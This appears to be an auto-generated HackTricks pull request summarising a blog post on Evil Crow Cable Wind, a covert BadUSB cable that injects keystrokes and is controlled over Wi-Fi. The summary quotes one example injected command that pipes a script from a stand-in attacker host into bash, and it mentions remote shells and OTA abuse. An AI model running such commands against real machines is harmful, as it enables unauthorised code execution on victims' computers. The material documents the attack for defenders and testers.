Plug, Play, Pwn Hacking with Evil Crow Cable Wind

[carlospolop]

🤖 Automated Content Update

This PR was automatically generated by the HackTricks News Bot based on a technical blog post.

📝 Source Information

• Blog URL: https://www.mobile-hacker.com/2025/12/01/plug-play-pwn-hacking-with-evil-crow-cable-wind/
• Blog Title: Plug, Play, Pwn: Hacking with Evil Crow Cable Wind
• Suggested Section: Hardware/Physical Access -> Physical Attacks (new subsection: BadUSB / HID Implant Techniques, covering OS-aware AutoExec payloads, HID-bootstrapped remote shells over Wi-Fi TCP, and HTTP-based OTA update endpoints for implants)

🎯 Content Summary

The post presents Evil Crow Cable Wind, an open‑source BadUSB/HID attack cable that embeds an ESP32‑S3 microcontroller inside an innocuous‑looking USB charging cable. When plugged into a host, it enumerates as a USB keyboard and injects scripted keystrokes at up to ~1,000 keystrokes/minute, similar to a USB Rubber Ducky. The key difference is integrated Wi‑Fi and a web‑based C2 interface, so payloads can be created, stored, and executed from a smartphone without any host‑side software....

🔧 Technical Details

HID keystroke injection via covert USB cables
The core technique is to embed a microcontroller in a USB cable that enumerates as a standard HID keyboard. On connection, the device can automatically send scripted keystrokes at high speed to: open a terminal (PowerShell, cmd, bash), invoke system tools, launch browsers, and type out arbitrary commands such as powershell -Command "..." or curl https://attacker/payload.sh | bash. As OSes implicitly trust keyboards, these actions typically bypass traditional security controls, yielding local code execution in the context of the logged‑in user.

OS‑aware AutoExec payloads for plug‑and‑pwn
Evil Crow Cable Wind introduces a generalizable trick: an implant detects the target OS and auto‑executes a pre‑tagged payload as soon as it is powered. The operator pre‑loads a set of scripts and associates each one with an OS condition (Windows, macOS, Linux). On insertion, the device identifie...

🤖 Agent Actions

Summary:

• Expanded physical-attacks.md with a dedicated “BadUSB / HID Implant Techniques” section describing ESP32-S3 cable implants, smartphone-driven Wi-Fi C2 workflows, OS-aware AutoExec payload chaining, HID-bootstrapped remote shells, OTA update abuse, and defensive monitoring considerations derived from the Evil Crow Cable Wind platform.
• Added concrete keystroke payload examples, a PowerShell serial loop snippet, OTA curl usage, and guidance on detecting rogue HID/Wi-Fi activity to harden against such implants.
• Updated the References section to cite the Mobile-Hacker article documenting these techniques.

Tests: Not run (not applicable).

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This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.

[carlospolop]

🔗 Additional Context

Original Blog Post: https://www.mobile-hacker.com/2025/12/01/plug-play-pwn-hacking-with-evil-crow-cable-wind/

Content Categories: Based on the analysis, this content was categorized under "Hardware/Physical Access -> Physical Attacks (new subsection: BadUSB / HID Implant Techniques, covering OS-aware AutoExec payloads, HID-bootstrapped remote shells over Wi-Fi TCP, and HTTP-based OTA update endpoints for implants)".

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Bot Version: HackTricks News Bot v1.0